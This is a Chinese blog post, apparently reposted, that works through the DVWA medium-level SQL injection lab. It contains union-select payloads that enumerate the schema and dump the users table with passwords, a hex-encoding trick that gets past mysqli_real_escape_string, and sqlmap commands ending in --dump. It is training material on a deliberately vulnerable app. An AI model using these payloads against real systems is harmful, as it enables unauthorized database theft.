码迷,mamicode.com
首页 > 数据库 > 详细

dvwa_medium_sql_injection

时间:2018-05-25 11:13:04      阅读:373      评论:0      收藏:0      [点我收藏+]

标签:ascii   eal   asc   不难   real   mysql   margin   school   指定表   

2018/05/24

实验平台:win10+wamp+dvwa+sqlmap

实验内容:dvwa_medium_SQL_Injection

实验内容:

第一步:配置实验环境

  1.low级有一篇白文(https://www.cnblogs.com/goodswarm/p/9063883.html),是再这个基础上继续进行的

  2.点击sql_injection,报错,然后我将medium.php中28行的[0]去掉,index.php的第64行rows后加[0],产生这种问题的原因应该是我配置的php的环境版本落后于当前dvwa的标准环境。

第二步:实验内容

  1.正常操作一波,并与low级对比。

    不难发现,它就是遏制了用户的输入,仅仅让用户做出选择。让生成的数据包仅仅是{1,2,3,4,5}中的值,那么改数据包,然后再按low级的思路一步步走行吗?

  2.截包,并尝试改值

    用Burp Suite(以下简称为bp)拦截发送的数据包,并交给repeater模块,将id=1改为id=1 or 1=1发送。结果下

技术分享图片

    low级使用的是“1‘or‘1‘=‘1”,但是这里行不通,说明现在适用数字型注入。

  3.根据low级的思路依次测试:测试当前字段数、测试当前数据库名、测试数据库的表名、测试表的所有字段名、下载表中所有数据

    1.“1 or 1=1 order by 1”。跟low差不多,可参看前面内容

    2.“1 union select 1,database()”。获取当前数据库名

    3.“1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()”获取数据库中的所有表名

    4.1 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’。恭喜报错,查看错误返回,是做了过滤处理,将单引号(‘)转义为(/’)。那怎么办?

    就是你要让解释器编译出这个单引号,但是过滤的时候并不会被当作单引号转义掉。就像你玩游戏说“垃圾”会被屏蔽但是说“辣鸡”不会。emm,这时候就要转编码,“=‘users’”变换为“0x7573657273”

    这个是“users”的十六进制数(ascii->十六进制),在mysql中十六进制数会被解释成相应的字符串,类型也可以写“=char(117,115,101,114,115)”,这个利用mysql中的字符函数,将ascii解释为对应的

    字符。

    5.“1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users”下载所有的数据.

  4.sqlmap注入神器

    1.这是一个post表单注入,首先利用bp拦下数据包,并命名为1。命令分析一波     sqlmap -r 1     如图。(这个我直接加了--dbs查看所有数据库,,emmm,偷懒了)。

技术分享图片

    2.sqlmap -r 1 --dbs 查看所有数据库

    3.sqlmap -r 1 -D dvwa --tables 查看指定数据库的所有表

    4.sqlmap -r 1 -D dvwa -T users --columns 查看指定表的指定列

    5.sqlmap -r 1 -D dvwa -T users -C user,password --dump 查看指定条件的所有记录

第三步:实验小结

  打开这个wamp\www\dvwa\vulnerabilities\sqli\source目录,查看medium.php的源码,可以发现以下关建代码:

  $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

  $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

  前者就是相应的过滤处理过程。php的mysqli_real_escape_string()函数,w3school解释如下

技术分享图片

  后者证明了组合的查询语句适用数字型注入(low级为字符型,源码$query  = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘;";,多了两个单引号)。

  这种防御策略,客户端控制输入+服务端增加转义,我们搞事情,传输层改包+换码使用函数规避转义。思考增加安全性,在客户端限制输入有点难,感觉改包就搞掉一切,重点还是服务端接受到的数据

  过滤,更好的过滤方案,更好的过滤处理。

dvwa_medium_sql_injection

标签:ascii   eal   asc   不难   real   mysql   margin   school   指定表   

原文地址:https://www.cnblogs.com/goodswarm/p/9085760.html

(0)
(3)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!